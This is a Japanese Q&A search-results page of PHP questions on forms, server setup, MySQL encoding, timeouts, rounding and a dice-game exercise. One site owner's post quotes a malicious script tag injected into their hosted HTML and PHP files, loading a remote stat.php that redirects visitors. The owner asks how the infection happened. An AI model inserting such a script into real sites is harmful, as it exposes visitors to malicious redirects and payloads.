検索結果

PHP

全10000件中6121~6140件表示
  • 全てのカテゴリ
  • 全ての質問
  • 【PHP】リンク先に値を持って行きたい

    A.htmlにフォームのHTMLを作り、 submitボタンで$_POST["atai"]に'xxx'を持って ACTION="A.html"するようになっております。 そこで、 B.htmlからA.htmlにリンクする際、 $_POST["atai"]に'yyy'を持たせてA.htmlへ遷移するようにしたい と思ったのですが、可能でしょうか。 説明が解りずらかったらすみませんが、 ご存知の方いらっしゃいましたらご教示願います。 宜しくお願い致します。

    • ベストアンサー
    • PHP
    • Claudia
    • 回答数2
  • PHPでjavascriptの2次元配列を宣言する

    はじめまして。 とっても困ってるので質問させてください。 「データベースからの取り出したデータをjavascriptで扱いたい」 下記のソースでjavascriptの2次元配列を宣言しているつもりなのですが、 データの取り出しが上手くいきません。。。 宣言自体ができてないのでしょうか??? PHPのソースを貼り付けます↓ echo "<script type=\"text/javascript\">"; echo "//<![CDATA["; echo "var SKind_name=new Array(".$temp.");"; for ($i=1;$i<=$cat_dtcnt;$i++) { $sql_scat_cnt = "SELECT COUNT(*) AS cnt FROM `map_subkind` WHERE kind_id = '".$i."'"; $res_scat_cnt = mysql_query($sql_scat_cnt) or die("データ抽出エラー"); $row_scat_cnt = mysql_fetch_array($res_scat_cnt, MYSQL_ASSOC); $scat_dtcnt = $row_scat_cnt["cnt"]; $temp = $scat_dtcnt+1; echo "SKind_name[".$i."]=new Array(".$temp.");"; echo "SKind_name[".$i."][0]=".$scat_dtcnt.";"; $sql_subcat= "SELECT * FROM `map_subkind` WHERE kind_id = '".$i."'"; $rst_subcat=mysql_query($sql_subcat) or die("データ抽出エラー"); $scatcnt = 1; while($row_scat=mysql_fetch_array($rst_subcat)) { echo "SKind_name[".$i."][".$scatcnt."] = \"".mb_convert_encoding($row_scat["skind_name"],"SJIS","EUC-JP")."\";"; $SKind_name_array[$i][$scatcnt] = mb_convert_encoding($row_scat["skind_name"],"SJIS","EUC-JP"); $scatcnt ++; } $scatcnt--; } echo "// --></script>";

  • Windows7 64bit版でphp起動できない

    Windows7 64bit版でphpが起動できず困っています。 Phpはphp-5.3.5-nts-Win32-VC6-x86.zipをインストールしました。 Apacheを起動して、Is works!を確認。 httpd.confの修正を下記をしました。 LoadModule php5_module "c:\Program Files (x86)\PHP5\php5apache.dll" PHPiniDir "c:\Program Files (x86)\PHP5" 32bit版では、php5apache2_2.dllの記述でしたが、ないのでphp5apache.dll を記述したのですが、これが間違いなのか教えて下さい 自分としてはこれが起動しない原因ではないかと思うのでうが、 よろしくお願いします。

  • PHP+MySQLで数千字程度のテキストを扱う

    PHPを勉強中で、入門書をつまづきながら読むくらいのレベルの者です。 例えば、PHP+MySQLでブログのようなシステムを作るとしたとき、本文にあたる短ければ数百字、長くて数千字のテキストを扱う場合にどのような方法をとればいいのか悩んでいます。 1. テキストファイルとして保存してデータベースにファイル名を保存し、ファイル名からPHPのテキストファイルを読み込む関数で読み込む 2. TEXT型(あるいはVARCHAR型?)でそのままデータベースに保存する の2つの方法のいずれかを考えており、 テキストの利用方法として、 1. そのままHTMLに出力して表示する。その際、データベースの同じテーブルに入っている記事タイトルなどのデータも利用する。 2. 複数ファイルから特定の文字列を含むもののみを選び出す(行番号などの情報は不要)。この際は他のデータは利用せず、例えば記事IDのようなものの配列が得られればよい。 のことをしたいと思っており、 また、その他の条件として 1. 動作が高速な方がいい(特に複数ファイルからの検索) 2. 直接テキストファイルのURLを指定して内容を読まれても、まあOK 3. 最大文字数は多分8000字程度で固定(書き込み時にチェック) を考えております。 総合的に考えてどちらの方法が優れているでしょうか? また、それぞれの方法で知っておいた方がいい制限事項などはありますか? 特に、正直なところVARCHAR型、TEXT型がどのようなアクセス速度など特徴を持つのかをまったく分かっていません。 ご教授宜しくお願いします。

    • ベストアンサー
    • MySQL
  • 【PHP】楽天やyahoo!ショッピングのデータベースは取得可能?

    http://www.4147.net/ 上記URLのような一般的なアフェリエイトに特化したサイトを見て疑問に思ったのですが、 検索単語を入力 ↓ yahooや楽天から検索結果をなんらかの方法で引っ張る ↓ そのデータに対して自動でマイリンクやテーブルタグその他を付与、PHPで出力 という流れだと思うのですが、どうしてデータベースからの情報取得が可能なのでしょう? アマゾンのように全て公開しているといった話は聞いたことがありません。 商品情報を一点づつ拾っているようには到底思えません。 これはPHP/SQLを学習していけば理解できる内容でしょうか? ヒントのかけらだけでも構いませんので、ご存知でしたらご教授頂ければ幸いです。 よろしくお願いいたします。

    • okad_a
    • 回答数1
  • ローカルで動いているPHPがタイムアウトする

    ローカルで動かしているPHPプログラム (他のサイトからソースを自動取得するシステム) を動かしているのですが 巡回するサイトが多いため Maximum execution time of 60 seconds exceeded とエラーが発生してしまいます。 PHP.iniの max_execution_time = 60 max_input_time = 60 の箇所を max_execution_time = 360 max_input_time = 360 へ post_max_size = 20M upload_max_filesize = 20M をそれぞれ100MBへ変更しましたが Fatal error: Maximum execution time of 60 seconds exceeded とエラーが表示されます。 どなたか恐縮ですがこの問題に長けている方のご返信をお待ちしています。 それでは宜しくお願いいたします。

    • ベストアンサー
    • PHP
    • yun100
    • 回答数1
  • PHPでMYSQLのデータを読み込んだ時

    PHPでMYSQLのデータを読み込んで出力した時、日本語の部分だけ、表示されません。 my.iniには、いろいろ調べて、下のように書いてみました。ちなみに、sjisと書いてあるところは、ujisと書き換えたりもしました。 バージョンは、アパッチが2.0.53、PHPが5.0.4、MYSQLは4.0.20dです。 日本語の部分以外は、ちゃんと表示されているので、文字の設定が間違っているのだと思うのですが、 どなたか、分かる方教えてください。 [WinMySQLAdmin] Server=C:/mysql/bin/mysqld-nt.exe [mysqld] default-character-set=sjis language=C:/mysql/share/japanese [mysql] default-character-set=sjis [mysql-dump] default-character-set=sjis

    • noname#113226
    • 回答数1
  • PHP文章が理解できているかどうか。

    この二つのIFはどう理解すればいいのでしょうか? 変数a,bが存在し、かつ変数$ageがallと同じ場合のみseek1を実行し 一致しない際はスルーとなる。 さらに 変数aが存在し、変数$ageがallと同じか変数$ageがsomeと同じ場合seek2を実行し 一致しない際はスルーとなる。 と解釈しているのですが自信がありません。 こちらをどう理解するのがよいのでしょうか?? <? $b = $_GET['b']; $a = $_GET['a']; if( !isset( $a ,$b ) && $age == "all"){ seek1("$p1","$p2","$p3","$p4","$p5"); } if(!isset( $a ) || $age == "all" || $age == "some" ){ seek2("$p1","$p2","$p3","$p4","$p5"); } ?> 通常seek1が実行された場合seek2はまったく実行されないですよね? seek1がスルーになった場合seek2が条件にあった場合は実行されるわけですよね? 自分のPHPの理解力が半信半疑です。 どうかよろしくおねがいします。

    • ベストアンサー
    • PHP
    • noname#20806
    • 回答数2
  • PHPでMysqlに絵文字を入力すると・・・

    こんにちは。 今回PHP4.3.9とMysql4.1.20をつかって掲示板を作成しております。 ドコモの書き込みで絵文字を入力したらうまくデーターに入力できたいないようなのです。 もちろんパソコンではみることはできないのですが、ドコモの携帯でも表示されないのです。 とくにmb関連の関数をつかっているわけでもなく、 今は$_REQUEST['body']をそのままMysqlに突っ込んでいる形です。 実行した際にSQL文をechoでみてもやはり何も入っておりません。 削除されているようです。 申し訳ないですが、どこかでそのように絵文字が削除される原因が考えられるでしょうか? ご教授よろしくお願いします。

    • ベストアンサー
    • PHP
  • PHPのコマンドをnobodyオーナで実行したい

    PHPをコマンドで実行するときに、オーナーをnobody権限で実行したいのですが、うまくいきません。 # su - nobody -c 'コマンド' 上記を実行すると、 This account is currently not available. と表示されて、コマンドは実行されません。 何か良い方法はないでしょうか。

    • 締切済み
    • PHP
    • kr1623
    • 回答数1
  • php or shellでのユーザ変更について

    phpからShellを呼び出すプログラムを作っています。 OSはApacheを使用しているので、 phpを起動した際「Apache」というユーザになっているようなのですが、 shell起動時に別のユーザに変更をしたいと思っています。 パスワードをshellの中に記述して、うまくユーザ変更をしたいのですがうまくいきません。 phpもしくは、shell内で、ユーザ変更を行なうにはどのようにすればよいでしょうか? もしくは、Apacheユーザのパスワードが分かれば、別の方法で回避できそうなのですが、ご存知の方はいますでしょうか? 大変困っているので、よろしくお願いします。

    • 締切済み
    • PHP
  • PHPが他クライアントからうまく表示できません。

    使用環境 OS:WindowsXPプロフェッショナル HTTPサーバ:Apache 2.0.59 PHP:PHP 5.1.6 わけがあり、開発に使用しているPCの一台をサーバとして立てています。 <?php phpinfo(); ?> ページを作成したうえで、 同PC上でアクセスした場合、localhost指定でもIPアドレス指定でもきちんと表示されます。 しかし、他クライアントからアクセスした場合にPHPを表示しようとすると、次の症状になり、困っています。 ・ページが中途半端にレンダリングされる。 ・空白(HTMLソースも空白bodyが無いもの)。 ・「ページを表示できません」となる。 サーバにしているPCも調べましたが、ファイアウォールは外していますし、ポート80はLISTEN状態になっています。 どなたかわかりましたら、ご教示宜しくお願いします。 ■http.confの変更点 ・追加点 LoadModule php5_module "C:/php/php5apache2.dll" PHPIniDir "C:/PHP" ScriptAlias /php/ "C:/php/" AddType application/x-httpd-php .php AddType application/x-httpd-php-source .phps ・変更点 MaxKeepAliveRequests 0 DocumentRoot "C:/htdocs" <Directory "C:/htdocs"> ※Apache配下から移動した為 DirectoryIndex index.html index.html.var index.php ■php.iniの変更点 ・追加点 default_charset = "UTF-8" extension=php_mbstring.dll session.save_path = "C:/tmp" mbstring.internal_encoding = UTF-8 mbstring.http_input = auto mbstring.http_output = UTF-8 mbstring.encoding_translation = On mbstring.detect_order = auto mbstring.substitute_character = none; mbstring.strict_encoding = UTF-8 ・変更点 memory_limit = 1024M ; display_startup_errors = On log_errors = On doc_root = C:/htdocs extension_dir = "c:/php/ext"

    • ベストアンサー
    • PHP
  • PHPのCLIで取得できる変数について

    PHPのCLIからですと、 <? echo $_SERVER["SCRIPT_FILENAME"]; ?> でファイルのパス名が取得できないのですが、 この変数は取得する方法はございますか? php.iniの設定を探してみましたわかりませんでした。 セキュリティ等の理由からデフォルトでは取得できないのでしょうか?

    • ベストアンサー
    • PHP
    • php4
    • 回答数1
  • Webサーバ上のhtmlとphpファイルが感染

    こんにちは。 海外のレンタルサーバを借りてWebサイトを公開しているのですが、昨日ワームに感染したようでサイト内のほとんどのhtmlとphpファイルの行末に下記のjavascriptが挿入されていました。 <script language='JavaScript' type='text/javascript' src='http://domainstat.net/stat.php'></script> このスクリプトで下記のWindowsMediaファイルにリダイレクトするようになっています。 .xungo.com/Elephant.wmv ローカルPCからはウィルスやアドウェアは見つかっていません。 サーバ上のファイルの更新時間を見たところ1,2分の間に数百のファイルが書き換わっています。 アクセスログを調べていますが今の所、不審なアクセスを見つけられていません。 なにが原因で感染したのか知りたいのですが、手がかりになる情報をお持ちの方いらっしゃいますでしょうか? 下記のケースと同じようです。 http://66.102.7.104/search?q=cache:HNyQsvf-96oJ:www.genxweb.net/code/worm-string-removal-2.html+%22domainstat.net/stat.php%22 ホスティング会社に問い合わせてますが、私のほうのセキュリティ問題だろうと言われて取り合えってもらえてません。 よろしくお願いします。

    • tomuo
    • 回答数2
  • 【PHP】printf()関数の小数点以下の扱い方

    printf()関数で以下のような記述をしました。 関数の引数を計算すると単純で 5 × (1 - 0.35) で結果は 3.25 となります。 これを$%.1f によって出力するため小数点以下は1桁です。 桁数を指定した場合、指定し桁数以下は「四捨五入」されると思っていました。 よって、自分では Price: 3.3 と出力されると考えていましたが 実際には Price: 3.2 と表示されます。 ちなみに 3.25 を round() 関数で使うと 3.3 と返ってきます。 printf()関数で小数点以下の桁数をしてした場合、四捨五入、切り上げ、切り捨て いずれでもない値が返ってくるのでしょうか? このような小数点以下の桁数を扱う方法はPHPの他の関数でも使われるのでしょうか? この方法の呼称というか名称というのはあるのでしょうか? 初学者です。分かりやすく教えていただければ幸いです。 よろしくお願いいたします。! <表示結果> Price: $3.2 3.3 <?php $price = 5; $off = 0.35; printf("Price: $%.1f", $price * (1 - $off)); echo "<br>\n"; echo "<br>\n"; echo round(3.25, 1); ?>

    • ベストアンサー
    • PHP
  • phpでこの"\n"はどういう意味ですか?

    phpでこの"\n"はどういう意味ですか? <?php for($i = 0; $i <= 4; $i++){ echo $i."\n"; }

    • ベストアンサー
    • PHP
  • PHPで宝探しゲームの作成について

    下記の問題について回答案をいただけますでしょうか。 複数の島をボートで巡って、ゴールドを探し出し、無事ゴールへたどり着けるか!? プレイヤーはターンごとに1回または複数回サイコロを振ります(通常は1回ですが、島によっては複数回必要な場合があります)。 プレイヤーのいる島ごとに、サイコロの目に応じてターンの行動が決まります。 スタート地点から出発し、ゴールへ到達して下さい。群島はスタートとゴール、およびA島~E島の5つの島からなります。プレイヤーは、ターン数、所持ゴールド、および巡った島の記録を保持しています。島ごとのサイコロの目と行動は、次のように決められています。 スタート地点:サイコロの出目が1ならA島へ、2ならB島へ、6ならC島へ、その他なら、動けない A島:サイコロの出目が3ならB島へ、4ならC島へ、その他なら100Gゲットしてスタートへ B島:サイコロの出目が奇数ならD島へ、偶数ならE島へ C島:サイコロを2回ふって、出目の和が奇数なら200GゲットしてD島へ、偶数なら100GゲットしてE島へ D島:サイコロの出目が4か5ならE島へ、それ以外は、スタートへ E島:サイコロの出目が6かつ所持Gが500G以上ならゴールへ、それ以外なら、100GゲットしてC島へ 問題1 サイコロの出目の配列を入力値で受け取り、配列を最後まで処理した段階での、プレイヤーのステータスを出力とするプログラムを作成してください。 入出力は、以下の4パターンをすべてパスするようにしてください。 記録に使う島名は、以下のようにしてください スタート地点:S A島:A B島:B C島:C D島:D E島:E ゴール:G ターン数は、サイコロを振った回数ではなく、ヒントの判定を行った回数です。 スタート地点でサイコロを振り、移動しても移動しなくても1ターン。 C島では2回サイコロを振り、その結果移動で1ターン。 テストデータ(CSV) No., 入力, ターン数, 所持ゴールド, 履歴 1, "214211643636466", 12, 600, "S 2, B 1, D 4, E 2, C 11, E 6, C 43, D 6, S 3, S 6, C 46, E 6, G" 2, "3261255154523256", 13, 900, "S 3, S 2, B 6, E 1, C 25, D 5, E 1, C 54, D 5, E 2, C 32, D 5, E 6, G" 3, "261621212322554264554221633114221645351356", 33, 2200, "S 2, B 6, E 1, C 62, E 1, C 21, D 2, S 3, S 2, B 2, E 5, C 54, D 2, S 6, C 45, D 5, E 4, C 22, E 1, C 63, D 3, S 1, A 1, S 4, S 2, B 2, E 1, C 64, E 5, C 35, E 1, C 35, E 6, G" 4, "624334152252512416431546432413114514414135214511425615154236231334534125561142642614615452623143232142224616116334416142653453565356335425423432454212534324465262655434651434641534565325652536", 152, 9300, "S 6, C 24, E 3, C 34, D 1, S 5, S 2, B 2, E 5, C 25, D 1, S 2, B 4, E 1, C 64, E 3, C 15, E 4, C 64, E 3, C 24, E 1, C 31, E 1, C 45, D 1, S 4, S 4, S 1, A 4, C 13, E 5, C 21, D 4, E 5, C 11, E 4, C 25, D 6, S 1, A 5, S 1, A 5, S 4, S 2, B 3, D 6, S 2, B 3, D 1, S 3, S 3, S 4, S 5, S 3, S 4, S 1, A 2, S 5, S 5, S 6, C 11, E 4, C 26, E 4, C 26, E 1, C 46, E 1, C 54, D 5, E 2, C 62, E 3, C 14, D 3, S 2, B 3, D 2, S 1, A 4, C 22, E 2, C 46, E 1, C 61, D 1, S 6, C 33, E 4, C 41, D 6, S 1, A 4, C 26, E 5, C 34, D 5, E 3, C 56, D 5, E 3, C 56, D 3, S 3, S 5, S 4, S 2, B 5, D 4, E 2, C 34, D 3, S 2, B 4, E 5, C 42, E 1, C 25, D 3, S 4, S 3, S 2, B 4, E 4, C 65, D 2, S 6, C 26, E 5, C 54, D 3, S 4, S 6, C 51, E 4, C 34, D 6, S 4, S 1, A 5, S 3, S 4, S 5, S 6, C 53, E 2, C 56, D 5, E 2, C 53, E 6, G" テストデータ(関数形式) /* 1 */ test(1, "214211643636466", 12, 600, "S 2, B 1, D 4, E 2, C 11, E 6, C 43, D 6, S 3, S 6, C 46, E 6, G"); /* 2 */ test(2, "3261255154523256", 13, 900, "S 3, S 2, B 6, E 1, C 25, D 5, E 1, C 54, D 5, E 2, C 32, D 5, E 6, G"); /* 3 */ test(3, "261621212322554264554221633114221645351356", 33, 2200, "S 2, B 6, E 1, C 62, E 1, C 21, D 2, S 3, S 2, B 2, E 5, C 54, D 2, S 6, C 45, D 5, E 4, C 22, E 1, C 63, D 3, S 1, A 1, S 4, S 2, B 2, E 1, C 64, E 5, C 35, E 1, C 35, E 6, G"); /* 4 */ test(4, "624334152252512416431546432413114514414135214511425615154236231334534125561142642614615452623143232142224616116334416142653453565356335425423432454212534324465262655434651434641534565325652536",152, 9300, "S 6, C 24, E 3, C 34, D 1, S 5, S 2, B 2, E 5, C 25, D 1, S 2, B 4, E 1, C 64, E 3, C 15, E 4, C 64, E 3, C 24, E 1, C 31, E 1, C 45, D 1, S 4, S 4, S 1, A 4, C 13, E 5, C 21, D 4, E 5, C 11, E 4, C 25, D 6, S 1, A 5, S 1, A 5, S 4, S 2, B 3, D 6, S 2, B 3, D 1, S 3, S 3, S 4, S 5, S 3, S 4, S 1, A 2, S 5, S 5, S 6, C 11, E 4, C 26, E 4, C 26, E 1, C 46, E 1, C 54, D 5, E 2, C 62, E 3, C 14, D 3, S 2, B 3, D 2, S 1, A 4, C 22, E 2, C 46, E 1, C 61, D 1, S 6, C 33, E 4, C 41, D 6, S 1, A 4, C 26, E 5, C 34, D 5, E 3, C 56, D 5, E 3, C 56, D 3, S 3, S 5, S 4, S 2, B 5, D 4, E 2, C 34, D 3, S 2, B 4, E 5, C 42, E 1, C 25, D 3, S 4, S 3, S 2, B 4, E 4, C 65, D 2, S 6, C 26, E 5, C 54, D 3, S 4, S 6, C 51, E 4, C 34, D 6, S 4, S 1, A 5, S 3, S 4, S 5, S 6, C 53, E 2, C 56, D 5, E 2, C 53, E 6, G"); 問題2 サイコロの出目および実行ターン数(10~100)をランダムで与えて実行し、最終的なプレイヤーのステータスを出力できるようにプログラムを変更してください

    • noname#233492
    • 回答数1
  • PHPで見られずJavascriptで見られる解析

     PHPでアクセス解析を作ろうと思っているのですが、よくPHPだけだと限界があるからJavascriptと併せて作ることが多いなんていうのを目にします。  ただ、Javascriptでのアクセス解析の作り方などを見てみると、得られる情報はPHPで作った物と同じように思えます。  IPアドレスやホスト、ブラウザ情報とかは、PHPでも取得できますよね。  Javascriptだからこそ得られる情報って何なんでしょうか?

    • noname#235729
    • 回答数1
  • phpのcryptの設定で悩んでいます。

    <エラー名> Warning: Undefined array key "configfile" php\crypt\cryptographp.fct.php on line 36 <ソース> // 画像認証ライブラリーを読み込む $cryptinstall = './crypt/cryptographp.fct.php'; require $cryptinstall; <ライブラリのリンク> https://github.com/chenyeric/captcha/blob/master/cryptographp.fct.php よろしくお願いします。

    • ベストアンサー
    • PHP
  • PHPのエスケープシーケンスについての質問です。

    PHPのエスケープシーケンスについての質問です。 下記のコードで改行コードを<br>に置換し、結果を画面に出力しました。 $text = "あいうえお\\nかきくけこ\nさしすせそ"; $text = str_replace("\n", "<br>" , $text); echo $text; 実行結果は下記になりました。 あいうえお\\nかきくけこ さしすせそ 私の予想では、\\nが\<br>に置換され、下記になるかと思いました。 あいうえお\ かきくけこ さしすせそ なぜ\\nは\<br>に置換されず、そのままだったのでしょうか?

    • ベストアンサー
    • PHP